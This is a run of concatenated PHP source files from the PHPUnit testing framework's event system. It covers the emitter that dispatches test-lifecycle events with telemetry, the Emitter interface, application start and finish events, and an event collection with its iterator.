testRunnerEventFacadeSealed(): void { $this->dispatcher->dispatch( new TestRunner\EventFacadeSealed( $this->telemetryInfo(), ), ); } /** * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function testRunnerExecutionStarted(TestSuite $testSuite): void { $this->dispatcher->dispatch( new TestRunner\ExecutionStarted( $this->telemetryInfo(), $testSuite, ), ); } /** * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function testRunnerDisabledGarbageCollection(): void { $this->dispatcher->dispatch( new TestRunner\GarbageCollectionDisabled($this->telemetryInfo()), ); } /** * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function testRunnerTriggeredGarbageCollection(): void { $this->dispatcher->dispatch( new TestRunner\GarbageCollectionTriggered($this->telemetryInfo()), ); } /** * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function testSuiteSkipped(TestSuite $testSuite, string $message): void { $this->dispatcher->dispatch( new TestSuiteSkipped( $this->telemetryInfo(), $testSuite, $message, ), ); } /** * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function testSuiteStarted(TestSuite $testSuite): void { $this->dispatcher->dispatch( new TestSuiteStarted( $this->telemetryInfo(), $testSuite, ), ); } /** * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function testPreparationStarted(Code\Test $test): void { $this->dispatcher->dispatch( new Test\PreparationStarted( $this->telemetryInfo(), $test, ), ); } /** * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function testPreparationFailed(Code\Test $test): void { $this->dispatcher->dispatch( new Test\PreparationFailed( $this->telemetryInfo(), $test, ), ); } /** * @psalm-param class-string $testClassName * * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function beforeFirstTestMethodCalled(string $testClassName, ClassMethod $calledMethod): void { $this->dispatcher->dispatch( new Test\BeforeFirstTestMethodCalled( $this->telemetryInfo(), $testClassName, $calledMethod, ), ); } /** * @psalm-param class-string $testClassName * * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function beforeFirstTestMethodErrored(string $testClassName, ClassMethod $calledMethod, Throwable $throwable): void { $this->dispatcher->dispatch( new Test\BeforeFirstTestMethodErrored( $this->telemetryInfo(), $testClassName, $calledMethod, $throwable, ), ); } /** * @psalm-param class-string $testClassName * * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function beforeFirstTestMethodFinished(string $testClassName, ClassMethod ...$calledMethods): void { $this->dispatcher->dispatch( new Test\BeforeFirstTestMethodFinished( $this->telemetryInfo(), $testClassName, ...$calledMethods, ), ); } /** * @psalm-param class-string $testClassName * * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function beforeTestMethodCalled(string $testClassName, ClassMethod $calledMethod): void { $this->dispatcher->dispatch( new Test\BeforeTestMethodCalled( $this->telemetryInfo(), $testClassName, $calledMethod, ), ); } /** * @psalm-param class-string $testClassName * * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function beforeTestMethodErrored(string $testClassName, ClassMethod $calledMethod, Throwable $throwable): void { $this->dispatcher->dispatch( new Test\BeforeTestMethodErrored( $this->telemetryInfo(), $testClassName, $calledMethod, $throwable, ), ); } /** * @psalm-param class-string $testClassName * * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function beforeTestMethodFinished(string $testClassName, ClassMethod ...$calledMethods): void { $this->dispatcher->dispatch( new Test\BeforeTestMethodFinished( $this->telemetryInfo(), $testClassName, ...$calledMethods, ), ); } /** * @psalm-param class-string $testClassName * * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function preConditionCalled(string $testClassName, ClassMethod $calledMethod): void { $this->dispatcher->dispatch( new Test\PreConditionCalled( $this->telemetryInfo(), $testClassName, $calledMethod, ), ); } /** * @psalm-param class-string $testClassName * * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function preConditionErrored(string $testClassName, ClassMethod $calledMethod, Throwable $throwable): void { $this->dispatcher->dispatch( new Test\PreConditionErrored( $this->telemetryInfo(), $testClassName, $calledMethod, $throwable, ), ); } /** * @psalm-param class-string $testClassName * * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function preConditionFinished(string $testClassName, ClassMethod ...$calledMethods): void { $this->dispatcher->dispatch( new Test\PreConditionFinished( $this->telemetryInfo(), $testClassName, ...$calledMethods, ), ); } /** * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function testPrepared(Code\Test $test): void { $this->dispatcher->dispatch( new Test\Prepared( $this->telemetryInfo(), $test, ), ); } /** * @psalm-param class-string $className * * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function testRegisteredComparator(string $className): void { $this->dispatcher->dispatch( new Test\ComparatorRegistered( $this->telemetryInfo(), $className, ), ); } /** * @throws InvalidArgumentException * @throws UnknownEventTypeException * * @deprecated */ public function testAssertionSucceeded(mixed $value, Constraint\Constraint $constraint, string $message): void { $this->dispatcher->dispatch( new Test\AssertionSucceeded( $this->telemetryInfo(), Exporter::export($value, $this->exportObjects), $constraint->toString($this->exportObjects), $constraint->count(), $message, ), ); } /** * @throws InvalidArgumentException * @throws UnknownEventTypeException * * @deprecated */ public function testAssertionFailed(mixed $value, Constraint\Constraint $constraint, string $message): void { $this->dispatcher->dispatch( new Test\AssertionFailed( $this->telemetryInfo(), Exporter::export($value, $this->exportObjects), $constraint->toString($this->exportObjects), $constraint->count(), $message, ), ); } /** * @psalm-param class-string $className * * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function testCreatedMockObject(string $className): void { $this->dispatcher->dispatch( new Test\MockObjectCreated( $this->telemetryInfo(), $className, ), ); } /** * @psalm-param list $interfaces * * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function testCreatedMockObjectForIntersectionOfInterfaces(array $interfaces): void { $this->dispatcher->dispatch( new Test\MockObjectForIntersectionOfInterfacesCreated( $this->telemetryInfo(), $interfaces, ), ); } /** * @psalm-param trait-string $traitName * * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function testCreatedMockObjectForTrait(string $traitName): void { $this->dispatcher->dispatch( new Test\MockObjectForTraitCreated( $this->telemetryInfo(), $traitName, ), ); } /** * @psalm-param class-string $className * * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function testCreatedMockObjectForAbstractClass(string $className): void { $this->dispatcher->dispatch( new Test\MockObjectForAbstractClassCreated( $this->telemetryInfo(), $className, ), ); } /** * @psalm-param class-string $originalClassName * @psalm-param class-string $mockClassName * * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function testCreatedMockObjectFromWsdl(string $wsdlFile, string $originalClassName, string $mockClassName, array $methods, bool $callOriginalConstructor, array $options): void { $this->dispatcher->dispatch( new Test\MockObjectFromWsdlCreated( $this->telemetryInfo(), $wsdlFile, $originalClassName, $mockClassName, $methods, $callOriginalConstructor, $options, ), ); } /** * @psalm-param class-string $className * * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function testCreatedPartialMockObject(string $className, string ...$methodNames): void { $this->dispatcher->dispatch( new Test\PartialMockObjectCreated( $this->telemetryInfo(), $className, ...$methodNames, ), ); } /** * @psalm-param class-string $className * * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function testCreatedTestProxy(string $className, array $constructorArguments): void { $this->dispatcher->dispatch( new Test\TestProxyCreated( $this->telemetryInfo(), $className, Exporter::export($constructorArguments, $this->exportObjects), ), ); } /** * @psalm-param class-string $className * * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function testCreatedStub(string $className): void { $this->dispatcher->dispatch( new Test\TestStubCreated( $this->telemetryInfo(), $className, ), ); } /** * @psalm-param list $interfaces * * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function testCreatedStubForIntersectionOfInterfaces(array $interfaces): void { $this->dispatcher->dispatch( new Test\TestStubForIntersectionOfInterfacesCreated( $this->telemetryInfo(), $interfaces, ), ); } /** * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function testErrored(Code\Test $test, Throwable $throwable): void { $this->dispatcher->dispatch( new Test\Errored( $this->telemetryInfo(), $test, $throwable, ), ); } /** * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function testFailed(Code\Test $test, Throwable $throwable, ?ComparisonFailure $comparisonFailure): void { $this->dispatcher->dispatch( new Test\Failed( $this->telemetryInfo(), $test, $throwable, $comparisonFailure, ), ); } /** * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function testPassed(Code\Test $test): void { $this->dispatcher->dispatch( new Test\Passed( $this->telemetryInfo(), $test, ), ); } /** * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function testConsideredRisky(Code\Test $test, string $message): void { $this->dispatcher->dispatch( new Test\ConsideredRisky( $this->telemetryInfo(), $test, $message, ), ); } /** * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function testMarkedAsIncomplete(Code\Test $test, Throwable $throwable): void { $this->dispatcher->dispatch( new Test\MarkedIncomplete( $this->telemetryInfo(), $test, $throwable, ), ); } /** * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function testSkipped(Code\Test $test, string $message): void { $this->dispatcher->dispatch( new Test\Skipped( $this->telemetryInfo(), $test, $message, ), ); } /** * @psalm-param non-empty-string $message * * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function testTriggeredPhpunitDeprecation(Code\Test $test, string $message): void { $this->dispatcher->dispatch( new Test\PhpunitDeprecationTriggered( $this->telemetryInfo(), $test, $message, ), ); } /** * @psalm-param non-empty-string $message * @psalm-param non-empty-string $file * @psalm-param positive-int $line * * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function testTriggeredPhpDeprecation(Code\Test $test, string $message, string $file, int $line, bool $suppressed, bool $ignoredByBaseline, bool $ignoredByTest): void { $this->dispatcher->dispatch( new Test\PhpDeprecationTriggered( $this->telemetryInfo(), $test, $message, $file, $line, $suppressed, $ignoredByBaseline, $ignoredByTest, ), ); } /** * @psalm-param non-empty-string $message * @psalm-param non-empty-string $file * @psalm-param positive-int $line * * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function testTriggeredDeprecation(Code\Test $test, string $message, string $file, int $line, bool $suppressed, bool $ignoredByBaseline, bool $ignoredByTest): void { $this->dispatcher->dispatch( new Test\DeprecationTriggered( $this->telemetryInfo(), $test, $message, $file, $line, $suppressed, $ignoredByBaseline, $ignoredByTest, ), ); } /** * @psalm-param non-empty-string $message * @psalm-param non-empty-string $file * @psalm-param positive-int $line * * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function testTriggeredError(Code\Test $test, string $message, string $file, int $line, bool $suppressed): void { $this->dispatcher->dispatch( new Test\ErrorTriggered( $this->telemetryInfo(), $test, $message, $file, $line, $suppressed, ), ); } /** * @psalm-param non-empty-string $message * @psalm-param non-empty-string $file * @psalm-param positive-int $line * * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function testTriggeredNotice(Code\Test $test, string $message, string $file, int $line, bool $suppressed, bool $ignoredByBaseline): void { $this->dispatcher->dispatch( new Test\NoticeTriggered( $this->telemetryInfo(), $test, $message, $file, $line, $suppressed, $ignoredByBaseline, ), ); } /** * @psalm-param non-empty-string $message * @psalm-param non-empty-string $file * @psalm-param positive-int $line * * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function testTriggeredPhpNotice(Code\Test $test, string $message, string $file, int $line, bool $suppressed, bool $ignoredByBaseline): void { $this->dispatcher->dispatch( new Test\PhpNoticeTriggered( $this->telemetryInfo(), $test, $message, $file, $line, $suppressed, $ignoredByBaseline, ), ); } /** * @psalm-param non-empty-string $message * @psalm-param non-empty-string $file * @psalm-param positive-int $line * * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function testTriggeredWarning(Code\Test $test, string $message, string $file, int $line, bool $suppressed, bool $ignoredByBaseline): void { $this->dispatcher->dispatch( new Test\WarningTriggered( $this->telemetryInfo(), $test, $message, $file, $line, $suppressed, $ignoredByBaseline, ), ); } /** * @psalm-param non-empty-string $message * @psalm-param non-empty-string $file * @psalm-param positive-int $line * * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function testTriggeredPhpWarning(Code\Test $test, string $message, string $file, int $line, bool $suppressed, bool $ignoredByBaseline): void { $this->dispatcher->dispatch( new Test\PhpWarningTriggered( $this->telemetryInfo(), $test, $message, $file, $line, $suppressed, $ignoredByBaseline, ), ); } /** * @psalm-param non-empty-string $message * * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function testTriggeredPhpunitError(Code\Test $test, string $message): void { $this->dispatcher->dispatch( new Test\PhpunitErrorTriggered( $this->telemetryInfo(), $test, $message, ), ); } /** * @psalm-param non-empty-string $message * * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function testTriggeredPhpunitWarning(Code\Test $test, string $message): void { $this->dispatcher->dispatch( new Test\PhpunitWarningTriggered( $this->telemetryInfo(), $test, $message, ), ); } /** * @psalm-param non-empty-string $output * * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function testPrintedUnexpectedOutput(string $output): void { $this->dispatcher->dispatch( new Test\PrintedUnexpectedOutput( $this->telemetryInfo(), $output, ), ); } /** * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function testFinished(Code\Test $test, int $numberOfAssertionsPerformed): void { $this->dispatcher->dispatch( new Test\Finished( $this->telemetryInfo(), $test, $numberOfAssertionsPerformed, ), ); } /** * @psalm-param class-string $testClassName * * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function postConditionCalled(string $testClassName, ClassMethod $calledMethod): void { $this->dispatcher->dispatch( new Test\PostConditionCalled( $this->telemetryInfo(), $testClassName, $calledMethod, ), ); } /** * @psalm-param class-string $testClassName * * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function postConditionErrored(string $testClassName, ClassMethod $calledMethod, Throwable $throwable): void { $this->dispatcher->dispatch( new Test\PostConditionErrored( $this->telemetryInfo(), $testClassName, $calledMethod, $throwable, ), ); } /** * @psalm-param class-string $testClassName * * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function postConditionFinished(string $testClassName, ClassMethod ...$calledMethods): void { $this->dispatcher->dispatch( new Test\PostConditionFinished( $this->telemetryInfo(), $testClassName, ...$calledMethods, ), ); } /** * @psalm-param class-string $testClassName * * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function afterTestMethodCalled(string $testClassName, ClassMethod $calledMethod): void { $this->dispatcher->dispatch( new Test\AfterTestMethodCalled( $this->telemetryInfo(), $testClassName, $calledMethod, ), ); } /** * @psalm-param class-string $testClassName * * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function afterTestMethodErrored(string $testClassName, ClassMethod $calledMethod, Throwable $throwable): void { $this->dispatcher->dispatch( new Test\AfterTestMethodErrored( $this->telemetryInfo(), $testClassName, $calledMethod, $throwable, ), ); } /** * @psalm-param class-string $testClassName * * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function afterTestMethodFinished(string $testClassName, ClassMethod ...$calledMethods): void { $this->dispatcher->dispatch( new Test\AfterTestMethodFinished( $this->telemetryInfo(), $testClassName, ...$calledMethods, ), ); } /** * @psalm-param class-string $testClassName * * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function afterLastTestMethodCalled(string $testClassName, ClassMethod $calledMethod): void { $this->dispatcher->dispatch( new Test\AfterLastTestMethodCalled( $this->telemetryInfo(), $testClassName, $calledMethod, ), ); } /** * @psalm-param class-string $testClassName * * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function afterLastTestMethodErrored(string $testClassName, ClassMethod $calledMethod, Throwable $throwable): void { $this->dispatcher->dispatch( new Test\AfterLastTestMethodErrored( $this->telemetryInfo(), $testClassName, $calledMethod, $throwable, ), ); } /** * @psalm-param class-string $testClassName * * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function afterLastTestMethodFinished(string $testClassName, ClassMethod ...$calledMethods): void { $this->dispatcher->dispatch( new Test\AfterLastTestMethodFinished( $this->telemetryInfo(), $testClassName, ...$calledMethods, ), ); } /** * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function testSuiteFinished(TestSuite $testSuite): void { $this->dispatcher->dispatch( new TestSuiteFinished( $this->telemetryInfo(), $testSuite, ), ); } /** * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function testRunnerTriggeredPhpunitDeprecation(string $message): void { $this->dispatcher->dispatch( new TestRunner\DeprecationTriggered( $this->telemetryInfo(), $message, ), ); } /** * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function testRunnerTriggeredPhpunitWarning(string $message): void { $this->dispatcher->dispatch( new TestRunner\WarningTriggered( $this->telemetryInfo(), $message, ), ); } /** * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function testRunnerEnabledGarbageCollection(): void { $this->dispatcher->dispatch( new TestRunner\GarbageCollectionEnabled($this->telemetryInfo()), ); } /** * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function testRunnerExecutionAborted(): void { $this->dispatcher->dispatch( new TestRunner\ExecutionAborted($this->telemetryInfo()), ); } /** * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function testRunnerExecutionFinished(): void { $this->dispatcher->dispatch( new TestRunner\ExecutionFinished($this->telemetryInfo()), ); } /** * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function testRunnerFinished(): void { $this->dispatcher->dispatch( new TestRunner\Finished($this->telemetryInfo()), ); } /** * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function applicationFinished(int $shellExitCode): void { $this->dispatcher->dispatch( new Application\Finished( $this->telemetryInfo(), $shellExitCode, ), ); } /** * @throws InvalidArgumentException */ private function telemetryInfo(): Telemetry\Info { $current = $this->system->snapshot(); $info = new Telemetry\Info( $current, $current->time()->duration($this->startSnapshot->time()), $current->memoryUsage()->diff($this->startSnapshot->memoryUsage()), $current->time()->duration($this->previousSnapshot->time()), $current->memoryUsage()->diff($this->previousSnapshot->memoryUsage()), ); $this->previousSnapshot = $current; return $info; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event; use PHPUnit\Event\Code\ClassMethod; use PHPUnit\Event\Code\ComparisonFailure; use PHPUnit\Event\Code\Throwable; use PHPUnit\Event\TestSuite\TestSuite; use PHPUnit\Framework\Constraint; use PHPUnit\TextUI\Configuration\Configuration; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ interface Emitter { /** * @deprecated */ public function exportObjects(): void; /** * @deprecated */ public function exportsObjects(): bool; public function applicationStarted(): void; public function testRunnerStarted(): void; public function testRunnerConfigured(Configuration $configuration): void; public function testRunnerBootstrapFinished(string $filename): void; public function testRunnerLoadedExtensionFromPhar(string $filename, string $name, string $version): void; /** * @psalm-param class-string $className * @psalm-param array $parameters */ public function testRunnerBootstrappedExtension(string $className, array $parameters): void; public function dataProviderMethodCalled(ClassMethod $testMethod, ClassMethod $dataProviderMethod): void; public function dataProviderMethodFinished(ClassMethod $testMethod, ClassMethod ...$calledMethods): void; public function testSuiteLoaded(TestSuite $testSuite): void; public function testSuiteFiltered(TestSuite $testSuite): void; public function testSuiteSorted(int $executionOrder, int $executionOrderDefects, bool $resolveDependencies): void; public function testRunnerEventFacadeSealed(): void; public function testRunnerExecutionStarted(TestSuite $testSuite): void; public function testRunnerDisabledGarbageCollection(): void; public function testRunnerTriggeredGarbageCollection(): void; public function testSuiteSkipped(TestSuite $testSuite, string $message): void; public function testSuiteStarted(TestSuite $testSuite): void; public function testPreparationStarted(Code\Test $test): void; public function testPreparationFailed(Code\Test $test): void; /** * @psalm-param class-string $testClassName */ public function beforeFirstTestMethodCalled(string $testClassName, ClassMethod $calledMethod): void; /** * @psalm-param class-string $testClassName */ public function beforeFirstTestMethodErrored(string $testClassName, ClassMethod $calledMethod, Throwable $throwable): void; /** * @psalm-param class-string $testClassName */ public function beforeFirstTestMethodFinished(string $testClassName, ClassMethod ...$calledMethods): void; /** * @psalm-param class-string $testClassName */ public function beforeTestMethodCalled(string $testClassName, ClassMethod $calledMethod): void; /** * @psalm-param class-string $testClassName */ public function beforeTestMethodErrored(string $testClassName, ClassMethod $calledMethod, Throwable $throwable): void; /** * @psalm-param class-string $testClassName */ public function beforeTestMethodFinished(string $testClassName, ClassMethod ...$calledMethods): void; /** * @psalm-param class-string $testClassName */ public function preConditionCalled(string $testClassName, ClassMethod $calledMethod): void; /** * @psalm-param class-string $testClassName */ public function preConditionErrored(string $testClassName, ClassMethod $calledMethod, Throwable $throwable): void; /** * @psalm-param class-string $testClassName */ public function preConditionFinished(string $testClassName, ClassMethod ...$calledMethods): void; public function testPrepared(Code\Test $test): void; /** * @psalm-param class-string $className */ public function testRegisteredComparator(string $className): void; /** * @deprecated */ public function testAssertionSucceeded(mixed $value, Constraint\Constraint $constraint, string $message): void; /** * @deprecated */ public function testAssertionFailed(mixed $value, Constraint\Constraint $constraint, string $message): void; /** * @psalm-param class-string $className */ public function testCreatedMockObject(string $className): void; /** * @psalm-param list $interfaces */ public function testCreatedMockObjectForIntersectionOfInterfaces(array $interfaces): void; /** * @psalm-param trait-string $traitName */ public function testCreatedMockObjectForTrait(string $traitName): void; /** * @psalm-param class-string $className */ public function testCreatedMockObjectForAbstractClass(string $className): void; /** * @psalm-param class-string $originalClassName * @psalm-param class-string $mockClassName */ public function testCreatedMockObjectFromWsdl(string $wsdlFile, string $originalClassName, string $mockClassName, array $methods, bool $callOriginalConstructor, array $options): void; /** * @psalm-param class-string $className */ public function testCreatedPartialMockObject(string $className, string ...$methodNames): void; /** * @psalm-param class-string $className */ public function testCreatedTestProxy(string $className, array $constructorArguments): void; /** * @psalm-param class-string $className */ public function testCreatedStub(string $className): void; /** * @psalm-param list $interfaces */ public function testCreatedStubForIntersectionOfInterfaces(array $interfaces): void; public function testErrored(Code\Test $test, Throwable $throwable): void; public function testFailed(Code\Test $test, Throwable $throwable, ?ComparisonFailure $comparisonFailure): void; public function testPassed(Code\Test $test): void; /** * @psalm-param non-empty-string $message */ public function testConsideredRisky(Code\Test $test, string $message): void; public function testMarkedAsIncomplete(Code\Test $test, Throwable $throwable): void; /** * @psalm-param non-empty-string $message */ public function testSkipped(Code\Test $test, string $message): void; /** * @psalm-param non-empty-string $message */ public function testTriggeredPhpunitDeprecation(Code\Test $test, string $message): void; /** * @psalm-param non-empty-string $message * @psalm-param non-empty-string $file * @psalm-param positive-int $line */ public function testTriggeredPhpDeprecation(Code\Test $test, string $message, string $file, int $line, bool $suppressed, bool $ignoredByBaseline, bool $ignoredByTest): void; /** * @psalm-param non-empty-string $message * @psalm-param non-empty-string $file * @psalm-param positive-int $line */ public function testTriggeredDeprecation(Code\Test $test, string $message, string $file, int $line, bool $suppressed, bool $ignoredByBaseline, bool $ignoredByTest): void; /** * @psalm-param non-empty-string $message * @psalm-param non-empty-string $file * @psalm-param positive-int $line */ public function testTriggeredError(Code\Test $test, string $message, string $file, int $line, bool $suppressed): void; /** * @psalm-param non-empty-string $message * @psalm-param non-empty-string $file * @psalm-param positive-int $line */ public function testTriggeredNotice(Code\Test $test, string $message, string $file, int $line, bool $suppressed, bool $ignoredByBaseline): void; /** * @psalm-param non-empty-string $message * @psalm-param non-empty-string $file * @psalm-param positive-int $line */ public function testTriggeredPhpNotice(Code\Test $test, string $message, string $file, int $line, bool $suppressed, bool $ignoredByBaseline): void; /** * @psalm-param non-empty-string $message * @psalm-param non-empty-string $file * @psalm-param positive-int $line */ public function testTriggeredWarning(Code\Test $test, string $message, string $file, int $line, bool $suppressed, bool $ignoredByBaseline): void; /** * @psalm-param non-empty-string $message * @psalm-param non-empty-string $file * @psalm-param positive-int $line */ public function testTriggeredPhpWarning(Code\Test $test, string $message, string $file, int $line, bool $suppressed, bool $ignoredByBaseline): void; /** * @psalm-param non-empty-string $message */ public function testTriggeredPhpunitError(Code\Test $test, string $message): void; /** * @psalm-param non-empty-string $message */ public function testTriggeredPhpunitWarning(Code\Test $test, string $message): void; /** * @psalm-param non-empty-string $output */ public function testPrintedUnexpectedOutput(string $output): void; public function testFinished(Code\Test $test, int $numberOfAssertionsPerformed): void; /** * @psalm-param class-string $testClassName */ public function postConditionCalled(string $testClassName, ClassMethod $calledMethod): void; /** * @psalm-param class-string $testClassName */ public function postConditionErrored(string $testClassName, ClassMethod $calledMethod, Throwable $throwable): void; /** * @psalm-param class-string $testClassName */ public function postConditionFinished(string $testClassName, ClassMethod ...$calledMethods): void; /** * @psalm-param class-string $testClassName */ public function afterTestMethodCalled(string $testClassName, ClassMethod $calledMethod): void; /** * @psalm-param class-string $testClassName */ public function afterTestMethodErrored(string $testClassName, ClassMethod $calledMethod, Throwable $throwable): void; /** * @psalm-param class-string $testClassName */ public function afterTestMethodFinished(string $testClassName, ClassMethod ...$calledMethods): void; /** * @psalm-param class-string $testClassName */ public function afterLastTestMethodCalled(string $testClassName, ClassMethod $calledMethod): void; /** * @psalm-param class-string $testClassName */ public function afterLastTestMethodErrored(string $testClassName, ClassMethod $calledMethod, Throwable $throwable): void; /** * @psalm-param class-string $testClassName */ public function afterLastTestMethodFinished(string $testClassName, ClassMethod ...$calledMethods): void; public function testSuiteFinished(TestSuite $testSuite): void; public function testRunnerTriggeredPhpunitDeprecation(string $message): void; public function testRunnerTriggeredPhpunitWarning(string $message): void; public function testRunnerEnabledGarbageCollection(): void; public function testRunnerExecutionAborted(): void; public function testRunnerExecutionFinished(): void; public function testRunnerFinished(): void; public function applicationFinished(int $shellExitCode): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Application; use function sprintf; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class Finished implements Event { private readonly Telemetry\Info $telemetryInfo; private readonly int $shellExitCode; public function __construct(Telemetry\Info $telemetryInfo, int $shellExitCode) { $this->telemetryInfo = $telemetryInfo; $this->shellExitCode = $shellExitCode; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } public function shellExitCode(): int { return $this->shellExitCode; } public function asString(): string { return sprintf( 'PHPUnit Finished (Shell Exit Code: %d)', $this->shellExitCode, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Application; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface FinishedSubscriber extends Subscriber { public function notify(Finished $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Application; use function sprintf; use PHPUnit\Event\Event; use PHPUnit\Event\Runtime\Runtime; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class Started implements Event { private readonly Telemetry\Info $telemetryInfo; private readonly Runtime $runtime; public function __construct(Telemetry\Info $telemetryInfo, Runtime $runtime) { $this->telemetryInfo = $telemetryInfo; $this->runtime = $runtime; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } public function runtime(): Runtime { return $this->runtime; } public function asString(): string { return sprintf( 'PHPUnit Started (%s)', $this->runtime->asString(), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Application; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface StartedSubscriber extends Subscriber { public function notify(Started $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface Event { public function telemetryInfo(): Telemetry\Info; public function asString(): string; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event; use function count; use Countable; use IteratorAggregate; /** * @template-implements IteratorAggregate * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class EventCollection implements Countable, IteratorAggregate { /** * @psalm-var list */ private array $events = []; public function add(Event ...$events): void { foreach ($events as $event) { $this->events[] = $event; } } /** * @psalm-return list */ public function asArray(): array { return $this->events; } public function count(): int { return count($this->events); } public function isEmpty(): bool { return $this->count() === 0; } public function isNotEmpty(): bool { return $this->count() > 0; } public function getIterator(): EventCollectionIterator { return new EventCollectionIterator($this); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event; use function count; use Iterator; /** * @template-implements Iterator * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class EventCollectionIterator implements Iterator { /** * @psalm-var list */ private readonly array $events; private int $position = 0; public function __construct(EventCollection $events) { $this->events = $events->asArray(); } public function rewind(): void { $this->position = 0; } public function valid(): bool { return $this->position < count($this->events); } public function key(): int { return $this->position; } public function current(): Event { return $this->events[$this->position]; } public function next(): void { $this->position++; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use function sprintf; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @deprecated */ final class AssertionFailed implements Event { private readonly Telemetry\Info $telemetryInfo; private readonly string $value; private readonly string $constraint; private readonly int $count; private readonly string $message; public function __construct(Telemetry\Info $telemetryInfo, string $value, string $constraint, int $count, string $message) { $this->telemetryInfo = $telemetryInfo; $this->value = $value; $this->constraint = $constraint; $this->count = $count; $this->message = $message; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } public function value(): string { return $this->value; } public function count(): int { return $this->count; } public function message(): string { return $this->message; } public function asString(): string { $message = ''; if (!empty($this->message)) { $message = sprintf( ', Message: %s', $this->message, ); } return sprintf( 'Assertion Failed (Constraint: %s, Value: %s%s)', $this->constraint, $this->value, $message, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ 